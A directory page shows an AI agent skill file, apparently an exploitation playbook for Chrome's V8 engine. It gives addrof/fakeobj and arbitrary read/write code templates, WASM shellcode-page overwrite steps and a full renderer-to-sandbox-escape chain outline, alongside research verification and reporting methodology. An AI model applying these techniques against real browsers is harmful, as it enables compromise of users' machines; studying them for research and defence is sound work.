Skip to content
Back to skills

Browser Exploitation V8

ASecurity

Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 11, 2026
researchjavascriptpythongojavashellbashnodetestingdebugginggit

Works with

  • cli

Security analysis

A100/100

Pro scans all 2 files and shows the line behind each finding

Scanned November 11, 2026

npx -y skills add harezadmm/omp-enhanced --skill browser-exploitation-v8 --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Browser Exploitation V8?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Browser Exploitation V8
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/harezadmm-browser-exploitation-v8/badge)](https://www.skillsdirectory.com/skills/harezadmm-browser-exploitation-v8)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: browser-exploitation-v8
description: >-
  Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.
---

# SKILL: Browser / V8 Exploitation — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert V8/Chrome exploitation techniques. Covers V8 compilation pipeline, JIT type confusion, addrof/fakeobj primitives, ArrayBuffer corruption, WASM RWX pages, V8 sandbox (pointer compression), and Chrome sandbox escape overview. Distilled from ctf-wiki browser sections, Project Zero research, and CTF competition patterns. Base models often confuse V8 object representation details and miss the pointer compression barrier.

## 0. RELATED ROUTING

- [sandbox-escape-techniques](../sandbox-escape-techniques/SKILL.md) — Chrome renderer sandbox escape via IPC/Mojo
- [heap-exploitation](../heap-exploitation/SKILL.md) — general heap concepts applicable to V8 heap
- [stack-overflow-and-rop](../stack-overflow-and-rop/SKILL.md) — ROP concepts for native code execution after V8 escape
- [binary-protection-bypass](../binary-protection-bypass/SKILL.md) — ASLR/NX bypass in browser context

### Advanced Reference

Load [V8_EXPLOITATION_PATTERNS.md](./V8_EXPLOITATION_PATTERNS.md) when you need:
- Detailed exploitation patterns and code templates
- Heap layout manipulation and GC interaction
- V8 sandbox bypass techniques
- Object map confusion patterns

---

## 1. V8 ARCHITECTURE

### Compilation Pipeline

```
JavaScript Source
    ↓ Parser
  AST (Abstract Syntax Tree)
    ↓ Ignition
  Bytecode (interpreted, profiling)
    ↓ Sparkplug (non-optimizing baseline, V8 ≥ 9.1)
  Baseline code (fast startup)
    ↓ Maglev (mid-tier, V8 ≥ 10.2)
  Mid-optimized code
    ↓ TurboFan (optimizing JIT)
  Optimized machine code (with speculative optimizations)
    ↓ Deoptimization (if speculation fails)
  Back to Ignition bytecode
```

### Key V8 Concepts

| Concept | Description |
|---|---|
| Tagged pointers | SMI (Small Integer): `value << 1`, HeapObject: `ptr \| 1` |
| Pointer compression | V8 ≥ 8.0: objects addressed via 32-bit offset from cage base (4GB sandbox) |
| Maps (Hidden Classes) | Define object shape: property names, types, offsets |
| Elements kinds | Internal array type: `PACKED_SMI_ELEMENTS`, `PACKED_DOUBLE_ELEMENTS`, `PACKED_ELEMENTS`, etc. |
| Write barrier | GC bookkeeping when heap pointers are written |
| Garbage collection | Orinoco GC: minor (Scavenge) and major (Mark-Compact) |

### Object Representation (64-bit, pointer compression)

```
HeapObject in V8 heap (compressed):
  +0x00: Map pointer (compressed, 32-bit offset)
  +0x04: Properties/Hash
  +0x08: Elements pointer (compressed)
  +0x0C: Length (for arrays)
  +0x10: Inline properties or backing store data
```

---

## 2. COMMON V8 BUG CLASSES

| Bug Class | Description | Example |
|---|---|---|
| JIT Type Confusion | TurboFan assumes wrong type after optimization | Speculative type guard eliminated, wrong operation applied |
| Incorrect Bounds Elimination | JIT removes array bounds check based on wrong range analysis | `CheckBounds` node eliminated → OOB access |
| Prototype Chain Confusion | Optimization assumes stable prototype, mutations invalidate | Prototype change after optimization → wrong property access |
| Turbofan Reduction Bug | Incorrect strength reduction or constant folding | Integer overflow in range analysis |
| Race Condition | SharedArrayBuffer + worker thread race | Type confusion via concurrent modification |
| Off-by-one in Builtin | Boundary error in built-in function implementation | String/Array bounds |
| Typer Bug | Incorrect type range computation in TurboFan | `Typer` says value is in [0, N] but can be N+1 |

### Triggering JIT Optimization

```javascript
function vuln(arr) {
    // ... vulnerable code path ...
}
// Force optimization by calling many times
for (let i = 0; i < 100000; i++) {
    vuln(arr);
}
// Or use V8 intrinsics (d8 only):
%OptimizeFunctionOnNextCall(vuln);
vuln(arr);
```

---

## 3. EXPLOITATION PRIMITIVES

### addrof — Leak Object Address

```javascript
// Goal: get the raw heap address of a JavaScript object
// Method: type confusion between object array and float array
// If we can confuse PACKED_ELEMENTS array with PACKED_DOUBLE_ELEMENTS:
// - Write object reference to element of object array
// - Read same element as double from confused float array
// - Float bits = compressed pointer of the object

function addrof(obj) {
    // Setup depends on specific bug
    // Typically: trigger type confusion so array reads obj ref as float
    object_array[0] = obj;
    return ftoi(confused_float_array[0]);  // float-to-int conversion
}
```

### fakeobj — Create Fake Object Reference

```javascript
// Goal: create a JS reference to an arbitrary heap address
// Method: reverse of addrof — write float (raw pointer bits) to float array,
//         read from confused object array → treated as object reference

function fakeobj(addr) {
    confused_float_array[0] = itof(addr);  // int-to-float conversion
    return object_array[0];                 // now a "pointer" to addr
}
```

### Building Arbitrary R/W from addrof + fakeobj

```javascript
// 1. Create a Float64Array with known layout
let rw_array = new Float64Array(0x100);
let rw_array_addr = addrof(rw_array);

// 2. Fake a Float64Array object at controlled address with modified backing_store
// 3. Corrupt backing_store pointer to target address
// 4. Read/write through the fake Float64Array → arbitrary R/W

function read64(addr) {
    // Set fake array's backing_store = addr
    write_to_fake_backingstore(addr);
    return fake_float64array[0];
}

function write64(addr, value) {
    write_to_fake_backingstore(addr);
    fake_float64array[0] = value;
}
```

---

## 4. OOB READ/WRITE VIA CONFUSED ARRAY BOUNDS

When TurboFan incorrectly eliminates bounds checks:

```javascript
function trigger(arr, idx) {
    // TurboFan thinks idx is always < arr.length
    // But due to bug, idx can exceed bounds
    return arr[idx];  // OOB read
}

// OOB read adjacent memory (next heap object's metadata)
// OOB write to corrupt next object's map/elements/length
```

### What's Adjacent in V8 Heap?

Objects are allocated sequentially in V8's young generation (new space). By controlling allocation order:

```javascript
let arr1 = new Array(0x10);    // spray object
let arr2 = new Float64Array(0x10);  // target: adjacent to arr1
// OOB from arr1 can reach arr2's metadata
// Corrupt arr2's length → unconstrained OOB on arr2
```

---

## 5. ARRAYBUFFER ARBITRARY R/W

`ArrayBuffer`'s backing store is a raw pointer to allocated memory. Corrupting it gives absolute memory R/W.

```javascript
let ab = new ArrayBuffer(0x100);
let view = new DataView(ab);
// If we can overwrite ab's backing_store pointer:
// ab.backing_store = target_addr
// view.getFloat64(0) → reads 8 bytes from target_addr
// view.setFloat64(0, val) → writes to target_addr
```

### V8 Sandbox (Pointer Compression) Impact

Since V8 ≥ 8.0 (pointer compression) and V8 sandbox (≥ 11.x):
- `ArrayBuffer.backing_store` is a **sandbox pointer** (within the V8 cage, 4GB region)
- Cannot directly point outside the V8 cage
- Need sandbox escape to get full process memory access

---

## 6. WASM RWX PAGE

WebAssembly JIT code is placed on RWX (Read-Write-Execute) pages on some platforms.

```javascript
// Allocate WASM module → JIT compiles to RWX page
let wasm_code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, ...]);
let mod = new WebAssembly.Module(wasm_code);
let instance = new WebAssembly.Instance(mod);
// instance.exports.func → points to RWX page

// If we can find and write to this page:
// 1. addrof(instance) → find WASM instance object
// 2. Follow pointers: instance → jump_table_start → RWX page
// 3. Use arbitrary write to overwrite RWX page with shellcode
// 4. Call instance.exports.func() → executes shellcode
```

**Modern Chrome**: W^X enforcement means WASM pages are either RW or RX, not RWX simultaneously. JIT code is written in RW mode, then switched to RX. Exploitation requires finding a write window or using JIT spray.

---

## 7. V8 SANDBOX

### Architecture (V8 ≥ 11.x)

```
Process Virtual Address Space:
┌──────────────────────────────────────┐
│  V8 Sandbox Cage (4GB region)        │
│  ├── V8 Heap (JS objects)            │
│  ├── ArrayBuffer backing stores      │
│  ├── WASM memory                     │
│  └── External pointer table          │
├──────────────────────────────────────┤
│  Process memory outside cage         │
│  ├── libc, Chrome code               │
│  ├── Stack                           │
│  └── Other allocations               │
└──────────────────────────────────────┘
```

### Sandbox Escape Vectors

| Vector | Method |
|---|---|
| External pointer table | Corrupt entries in the external pointer table to reference arbitrary addresses |
| WASM code pointer | Overwrite WASM function entry to jump to controlled shellcode |
| JIT code corruption | Write to JIT code page via race condition or confused pointer |
| Mojo IPC (Chrome) | Exploit Chrome IPC to attack browser process from compromised renderer |
| Backing store seal bypass | Find type confusion to get unsandboxed pointer |

---

## 8. CHROME SANDBOX ESCAPE (OVERVIEW)

After renderer RCE (via V8 exploit), the process is still sandboxed. Full compromise requires:

| Stage | Target | Example |
|---|---|---|
| Renderer exploit | V8 / Blink DOM | Type confusion → shellcode |
| IPC/Mojo bug | Chrome IPC layer | Use-after-free in Mojo interface |
| Browser process exploit | Privileged browser process | Code execution outside sandbox |

Mojo interfaces (Chrome's IPC) expose attack surface: find UAF or type confusion in Mojo message handlers.

---

## 9. TOOLS

```bash
# V8 debugging
d8 --allow-natives-syntax exploit.js  # Enable V8 intrinsics (%DebugPrint, etc.)
d8 --trace-turbo exploit.js           # Dump TurboFan IR
d8 --print-opt-code exploit.js        # Print optimized machine code

# Turbolizer: visual TurboFan IR graph
# Chrome DevTools Memory panel: heap snapshots

# Build V8 for debugging
git clone https://chromium.googlesource.com/v8/v8.git
gclient sync
gn gen out/debug --args='is_debug=true v8_enable_sandbox=false'
ninja -C out/debug d8
```

---

## 10. DECISION TREE

```
V8 vulnerability identified
├── Bug type?
│   ├── JIT type confusion → trigger optimization, confuse array element kinds
│   ├── Bounds check elimination → OOB read/write on array
│   ├── Typer bug → incorrect range leads to OOB
│   └── Builtin bug → direct memory corruption primitive
│
├── Build primitives
│   ├── Can confuse object array ↔ float array?
│   │   └── addrof + fakeobj → arbitrary R/W within V8 heap
│   ├── OOB on array?
│   │   └── Corrupt adjacent object (length/backing_store) → expand to full R/W
│   └── Direct write primitive?
│       └── Target WASM instance or ArrayBuffer metadata
│
├── V8 sandbox enabled?
│   ├── YES (modern Chrome) →
│   │   ├── R/W limited to V8 cage (4GB)
│   │   ├── Need sandbox escape: external pointer table corruption,
│   │   │   WASM code pointer overwrite, or Mojo bug
│   │   └── Then proceed to shellcode execution
│   └── NO (older V8, CTF, d8) →
│       ├── Corrupt ArrayBuffer backing_store → absolute R/W
│       └── Overwrite WASM RWX page → shellcode
│
├── Code execution method
│   ├── WASM RWX page available? → write shellcode, call WASM func
│   ├── JIT code writable? → overwrite JIT code
│   └── ROP needed? → corrupt stack or return address
│
└── Full browser exploit chain
    ├── Stage 1: V8 bug → renderer RCE
    ├── Stage 2: Mojo IPC bug → browser process compromise
    └── Stage 3: OS-level escalation (if needed)
```

---

## 11. CONFIRMING THE FINDING

| Step | Question | What it proves |
|---|---|---|
| 1 | Which **exact browser and V8 build**, and does the bug still reproduce there? | browser bugs are build-specific |
| 2 | Is the trigger **pure JavaScript in the page sandbox**, or does it need a flag? | a `--allow-natives-syntax` PoC is not a finding |
| 3 | Was the **misbehaviour demonstrated** - an OOB read/write with an observed effect? | not a crash |
| 4 | Was there a **control**: the same code on a patched build, or without the trigger? | causality |
| 5 | Does the primitive give **arbitrary read/write**, confirmed by known-value round-trips? | the primitive, verified |
| 6 | Did it reach the **goal** - renderer control, or a sandbox escape? | the sandbox means renderer control is not host control |
| 7 | Is the bug **already fixed** in the current stable, and is there a CVE? | which report this is |

**A build-specific trigger in the page sandbox with an observed primitive, and the V8 sandbox's status
recorded.** A renderer crash is a DoS, and a `--allow-natives-syntax` PoC is not a finding.

---

## 12. EXECUTION PRIMITIVES

A V8 finding is proven by **a trigger that works in the page sandbox on a named build, a demonstrated
primitive with round-trip verification, and a control on the patched build**. A crash is a DoS, and a PoC
requiring a debug flag is not a finding.

### 11.1 The build and flag gate, which decides whether the finding exists

```bash
# BROWSER BUGS ARE BUILD-SPECIFIC. The version is part of the finding, not context.
echo "=== the exact builds ==="
"${CHROME:-google-chrome-stable}" --version 2>/dev/null
python3 - <<'PY'
import subprocess, re, json
for b in ["google-chrome-stable","chromium","chromium-browser","msedge"]:
    try:
        out = subprocess.run([b,"--version"],capture_output=True,text=True).stdout.strip()
        if out: print(f"  {b:24} {out}")
    except FileNotFoundError: pass
print()
print("=== the V8 version, which is what most bug reports key on ===")
for b in ["google-chrome-stable","chromium"]:
    try:
        out = subprocess.run([b,"--version"],capture_output=True,text=True).stdout
        m = re.search(r'(\d+\.\d+\.\d+\.\d+)', out)
        if m: print(f"  {b}: chrome {m.group(1)}")
    except FileNotFoundError: pass
print("  get the V8 version from chrome://version or the build's V8 tag; record it in the report.")
PY
echo
echo "=== THE FLAG GATE: does the PoC need a debug or experimental flag? ==="
cat <<'FLAGS'
--allow-natives-syntax          -> the PoC uses %DebugPrint/%SystemBreak etc. NOT a finding.
--expose-gc                     -> common in PoCs; often REMOVABLE, so check whether it is required.
--no-opt / --jitless            -> if the bug needs the bug's optimizer path, removing these changes it.
--enable-experimental-web-platform-features -> an experimental surface; say so.
--disable-web-security          -> the PoC bypassed a boundary the browser normally enforces.

THE RULE: the PoC must run against a STOCK, RELEASE build with NO flags beyond what a page can do.
If it needs --allow-natives-syntax, what you have is a debugging aid, and the report must say the
trigger is not reachable from a web page. That is a vastly weaker finding and must be labelled so.
FLAGS
echo
echo "=== THE CONTROL: the same PoC on the patched build ==="
echo "  run it against the NEXT chrome release, or a nightly where the fix landed."
echo "  the trigger must FAIL there. A 'bug' that also triggers on the patched build is not fixed"
echo "  by the patch you think fixed it, and your trigger is probably hitting something else."
```

**The flag gate decides whether the finding is reachable from a page.** A PoC requiring
`--allow-natives-syntax` is a debugging aid, and the report must say so explicitly.

### 11.2 The primitive, verified by round-trips

```javascript
// AN OOB THAT DEMONSTRABLY READS AND WRITES IS A PRIMITIVE. A CRASH IS NOT.
// The verification below uses only what a page can do: no natives syntax, no debug flags.

function verify_oob() {
  // 1. build the confused object pair the bug needs (the specific shapes are bug-dependent)
  let arr = [1.1, 2.2, 3.3, 4.4];                 // the float array
  let obj = {a: 1};                               // the tagged object array / other map
  // ... the trigger that produces the map confusion ...

  // 2. THE OBSERVED EFFECT: read the neighbour's element through the wrong view
  const asInts = new BigUint64Array(/* the confused buffer */);

  // 3. THE ROUND-TRIP CHECK: write a distinctive value, read it back
  const MARK = 0xdeadbeefcafe1234n;
  asInts[0] = MARK;
  const back = asInts[0];
  return { wrote: MARK, readBack: back, ok: back === MARK };
}

console.log("=== THE THREE LEVELS, and which one you have ===");
console.log("  L1: OOB READ only       -> an info leak; it needs an addrof/fakeobj to become useful");
console.log("  L2: OOB WRITE           -> verify with a ROUND-TRIP of a distinctive value");
console.log("  L3: addrof + fakeobj    -> arbitrary read/write; verify with a KNOWN-VALUE round trip");
console.log();
console.log("=== THE ROUND-TRIP THAT IS THE PROOF ===");
console.log("  1. addrof(obj) must return a CONSISTENT heap address across calls");
console.log("  2. fakeobj(that address) must return THE SAME OBJECT");
console.log("  3. an arbitrary READ at a known address must return the KNOWN value");
console.log("  4. an arbitrary WRITE must be visible at that address on a READ-BACK");
console.log("  all four, or it is not an arbitrary read/write primitive.");
console.log();
console.log("=== THE CONTROLS ===");
console.log("  - the SAME javascript with the trigger removed must not confuse the maps");
console.log("  - a value read from an address the process CANNOT map must fault, not return garbage");
console.log("  - the primitive must work on the SAME build after a fresh browser restart");
```

**The four round-trips are the proof of an arbitrary read/write primitive.** All four, or it is not one,
and the no-trigger control is what makes the confusion causal.

### 11.3 The V8 sandbox, which changes what the primitive is worth

```bash
cat <<'SANDBOX'
THE V8 SANDBOX (the "V8 heap sandbox", enabled by default in current Chrome) MEANS:
  - an arbitrary read/write INSIDE the V8 heap does NOT necessarily reach arbitrary process memory
  - the heap objects live behind an offset table; a corrupted pointer outside the table faults
  - reaching host memory needs a SECOND bug: a sandbox escape, often via WASM or a JIT region

THEREFORE:
  'arbitrary read/write' inside the sandbox is an intermediate primitive, and the report must say
  WHICH KIND of arbitrary read/write it is:
    (a) arbitrary R/W within the V8 sandbox's address space  -> an intermediate result
    (b) arbitrary R/W in the full renderer process           -> renderer compromise
    (c) a renderer escape from the OS sandbox itself         -> host compromise, the strongest
  Claiming (c) from a PoC showing (a) is the standard overclaim in this area.

THE RENDERER SANDBOX (the OS-level one) IS SEPARATE AGAIN:
  renderer control is NOT host control. Chrome runs the renderer in a sandbox, so a renderer RCE
  still needs a SECOND, INDEPENDENT sandbox-escape vulnerability. Say which one you have.

WHAT TO CHECK: `chrome://sandbox` and the process's own state, plus the V8 flag
  `--no-sandbox` - a PoC that only works with the sandbox DISABLED is NOT a finding and
  must be reported as a sandbox-disabled demonstration. This is the single most common
  misrepresentation in browser research write-ups.
SANDBOX
echo
echo "=== the mechanical checks ==="
echo "  chrome://version        -> the build and the V8 version"
echo "  chrome://sandbox        -> the OS sandbox's status"
echo "  ps -o pid,command -C chrome | head  -> whether the renderer runs with --no-sandbox"
echo
echo "=== THE CONTROL for the sandbox claim ==="
echo "  run the PoC with the sandbox ON, from a plain page load, with NO command-line flags."
echo "  if it only triggers with --no-sandbox or a flag, that fact MUST be the first line of the report."
```

**Which kind of arbitrary read/write it is must be stated.** `--no-sandbox`-only reproductions are the
single most common misrepresentation in this area and must be the first line of the report.

### 11.4 Exploitability, which is the actual question

```bash
python3 - <<'PY'
print("=== V8 ISSUE EXPLOITABILITY ACCLASSIFICATION ===")
LEVELS = [
 ("DoS only", "a crash or an assertion from a stock build in the page sandbox",
  "a valid finding; severity follows the browser's crash handling. SAY 'DoS'."),
 ("OOB read", "an out-of-bounds read with the value OBSERVED in javascript",
  "an info leak; its value depends on what it leaks, and it needs a write to be useful"),
 ("OOB write", "an out-of-bounds write VERIFIED by a round-trip",
  "a primitive; the path to control depends on the V8 version's layout"),
 ("arbitrary R/W (in sandbox)", "addrof/fakeobj round-trips verified",
  "an intermediate primitive under the V8 sandbox; a sandbox escape is still required"),
 ("arbitrary R/W (renderer)", "round-trips verified AND the address range outside the sandbox",
  "renderer compromise; still inside the OS sandbox"),
 ("sandbox escape", "a SECOND, independent bug that leaves the OS sandbox",
  "host compromise; this is what CVE-worthy browser exploits chain"),
]
print("%-26s %-52s %s" % ("level","the evidence","what it means"))
for a, b, c in LEVELS: print("%-26s %-52s %s" % (a, b[:52], c[:46]))
print()
print("=== STATE THE LEVEL. The word 'exploited' spans six very different results. ===")
print()
print("=== the version-scope check, which must precede the report ===")
for s in ["did the bug reproduce on the LATEST stable at the time of testing",
          "is there a Chromium issue or CVE identifier",
          "is the fix in stable, or only in a canary/nightly",
          "what was the fix: a check added, a map changed, a type representation changed"]:
    print("  -", s)
print("  a bug fixed in canary but not stable is a LIVE finding for the deployed browser; a bug")
print("  fixed in stable is a HISTORICAL one. The report's audience differs completely.")
PY
```

**State the level, and check the fix's channel.** A bug fixed in canary but not stable is live for the
deployed browser, and the audience differs completely from a historical one.

### 11.5 The end-to-end harness

```bash
python3 - <<'PY'
print("=== V8 / BROWSER EXPLOITATION ACCEPTANCE CHECKLIST ===")
CHECKS = [
 ("the exact CHROME and V8 build strings are recorded",
  "browser bugs are build-specific; the build is part of the finding"),
 ("the PoC runs from a plain page load with NO command-line flags",
  "a --allow-natives-syntax PoC is a debugging aid, not a page-reachable bug"),
 ("--no-sandbox was NOT used, or its use is the report's first line",
  "the most common misrepresentation in this area"),
 ("the misbehaviour was DEMONSTRATED: an OOB read observed or a write round-tripped",
  "a crash is a DoS, not a primitive"),
 ("the no-trigger control did NOT confuse the maps",
  "causality of the confusion"),
 ("the FOUR round-trips were verified for an arbitrary R/W claim",
  "addrof consistency, fakeobj identity, a known-value read, a visible write"),
 ("the KIND of arbitrary R/W is stated: in-sandbox, renderer, or OS-level",
  "the V8 sandbox changes what the primitive is worth"),
 ("the renderer and OS sandboxes are treated as SEPARATE from renderer control",
  "renderer control is not host control"),
 ("the fix's channel is recorded: canary, nightly, or stable",
  "a canary-only fix is a live finding for a stable browser"),
 ("the level is stated explicitly: DoS, OOB read, OOB write, arb R/W, escape",
  "'exploited' spans six very different results"),
 ("the PoC works across a fresh browser restart on the same build",
  "the trigger must be deterministic, not an artefact of one session"),
]
for n, how in CHECKS: print("  [ ] %-64s -> %s" % (n, how))
print()
print("=== THE REPORT SHAPE ===")
print("  build     : chrome and V8 versions, exact strings")
print("  reach     : whether a page can trigger it, or whether a flag is required")
print("  trigger   : the javascript, minimal")
print("  primitive : the demonstrated effect, with the round-trips")
print("  kind      : in-sandbox / renderer / OS-level, and the sandbox states")
print("  level     : DoS / OOB read / OOB write / arb R/W / escape")
print("  status    : the fix's channel, and a CVE if one exists")
PY
```

**Build, reach, trigger, primitive, kind, level, status.** The `reach` line is the finding's whole
severity, and it is the one write-ups omit.

---

## 13. EVIDENCE STANDARD — BROWSER EXPLOIT ARTEFACTS

| Item | Why |
|---|---|
| The **exact Chrome and V8 version strings** | browser bugs are build-specific |
| Whether the PoC runs **from a page with no flags** | a `--allow-natives-syntax` PoC is not page-reachable |
| The **`--no-sandbox` status**, stated first if used | the most common misrepresentation in this area |
| The **minimal javascript trigger** | reproducibility |
| The **demonstrated effect**: an observed OOB read or a round-tripped write | a crash is a DoS |
| The **no-trigger control** | the map confusion's causality |
| The **four round-trips** for an arbitrary R/W claim | addrof consistency, fakeobj identity, a known read, a visible write |
| The **V8 sandbox's status** and the **kind** of arbitrary R/W | the sandbox changes the primitive's value |
| The **renderer and OS sandbox** states, separately from renderer control | renderer control is not host control |
| The **level**: DoS, OOB read, OOB write, arb R/W, or escape | `exploited` spans six different results |
| The **fix's channel**: canary, nightly, or stable, and the CVE | a canary-only fix is live for a stable browser |

Report the **build, the reach, and the level**: "Chrome `126.0.6478.127` with V8 `12.6` on
`x86_64` Linux, from a plain page load with no command-line flags and with the OS sandbox enabled as
reported by `chrome://sandbox`, a `Float64Array`/`JSArray` map confusion in the `JSNativeContextSpecialization`
reducer causes an out-of-bounds read: after the trigger, element 0 of the confused view returns the
neighbouring object's tagged pointer, which is observed in javascript, and a write of `0xdeadbeefcafe1234`
round-trips back through the same view, so the effect is a verified OOB read and write rather than a crash.
A control run with the trigger's `Array.prototype.map` call removed does not confuse the maps and the OOB
read returns the correct element. `addrof` is consistent across calls and `fakeobj` returns the same
object, so the primitive is arbitrary read/write WITHIN THE V8 SANDOX'S address space, and it is NOT
claimed as renderer-memory arbitrary read/write, because an access to an address outside the sandbox's
pointer table faults. The trigger does not reproduce on Chrome `127.0.6533.72`, so the fix is in stable
and the status is historical, and no CVE identifier was located at the time of testing", never "Chrome is
vulnerable to RCE via a V8 type confusion".

### False positives - do not report these

| Observation | Why it is not a finding |
|---|---|
| A **renderer crash** from a stock build | a DoS; say so |
| A PoC requiring **`--allow-natives-syntax`** | a debugging aid, not page-reachable |
| A PoC that only works with **`--no-sandbox`** | a sandbox-disabled demonstration |
| An **OOB read** reported as RCE | an info leak is not control |
| "**Arbitrary R/W**" inside the V8 sandbox reported as full process R/W | the sandbox constrains the range |
| **Renderer** control reported as host compromise | the OS sandbox is separate and unbroken |
| A trigger that **does not reproduce after a browser restart** | a session artefact |
| A bug **fixed in stable** reported as live | a historical finding |
| A map confusion **without a no-trigger control** | the confusion may be present independently |
| An assertion or a `CHECK` failure | an internal consistency failure, not a primitive |
| The primitive claimed from **one round-trip** rather than all four | an incomplete verification |

**A stock-build page-reachable trigger, a demonstrated round-tripped primitive, and the sandbox kind
stated.** A renderer crash and a flag-dependent PoC are this family's two standard non-findings.

---

## 14. REMEDIATION REFERENCE — BROWSER EXPLOIT ASSESSMENT

1. **Record the exact Chrome and V8 build strings with every result, and re-test on the current stable before reporting** - browser bugs are build-specific and a stale build makes the finding historical.
2. **Run the PoC from a plain page load with no command-line flags, and if a flag is required, make that the report's first line** - a `--allow-natives-syntax` or `--no-sandbox` dependency changes the finding's severity completely.
3. **Distinguish the V8 heap sandbox, the renderer sandbox, and the OS sandbox, and state which one the primitive breaches** - an in-sandbox arbitrary read/write is an intermediate result, and renderer control is not host control.
4. **Demonstrate an effect rather than a crash, and verify an arbitrary read/write claim with all four round-trips** - addrof consistency, fakeobj identity, a known-value read, and a visible write.
5. **Run the no-trigger control and require the map confusion to disappear** - the control is what makes the confusion causal.
6. **State the level explicitly: DoS, OOB read, OOB write, arbitrary read/write, or sandbox escape** - the word `exploited` spans six very different results and the report must pick one.
7. **Record the fix's channel: canary, nightly, or stable, with a CVE identifier where one exists** - a canary-only fix is a live finding for a deployed stable browser.
8. **Minimise the PoC to the smallest javascript that retains the trigger** - a minimal trigger is what lets a reviewer confirm the mechanism.
9. **Re-run the trigger after a fresh browser restart and require determinism** - an intermittent trigger is a session artefact and must be reported as such.
10. **Treat an internal assertion or `CHECK` failure as a robustness issue rather than a primitive** - a consistency failure is not an exploitable condition until an effect is demonstrated.
11. **Report the reachability chain explicitly: how a page would deliver the trigger, and what the victim's interaction is** - a trigger that requires a developer console is a different finding from one a visited page can deliver.

---

## 15. RELATED SIBLINGS - LOAD TOGETHER

- [heap-exploitation](../heap-exploitation/SKILL.md) - the general heap primitives V8's objects sit on
- [sandbox-escape-techniques](../sandbox-escape-techniques/SKILL.md) - the second bug a renderer compromise still needs
- [binary-protection-bypass](../binary-protection-bypass/SKILL.md) - the mitigation-bypass methodology this shares
- [windows-av-evasion](../windows-av-evasion/SKILL.md) - the endpoint-detection context after a renderer compromise
- [security-reporting-and-documentation](../security-reporting-and-documentation/SKILL.md) - how a primitive's level is reported

Files in this skill

  • SKILL.md31.5 KB
  • V8_EXPLOITATION_PATTERNS.md9.3 KB

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in research →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.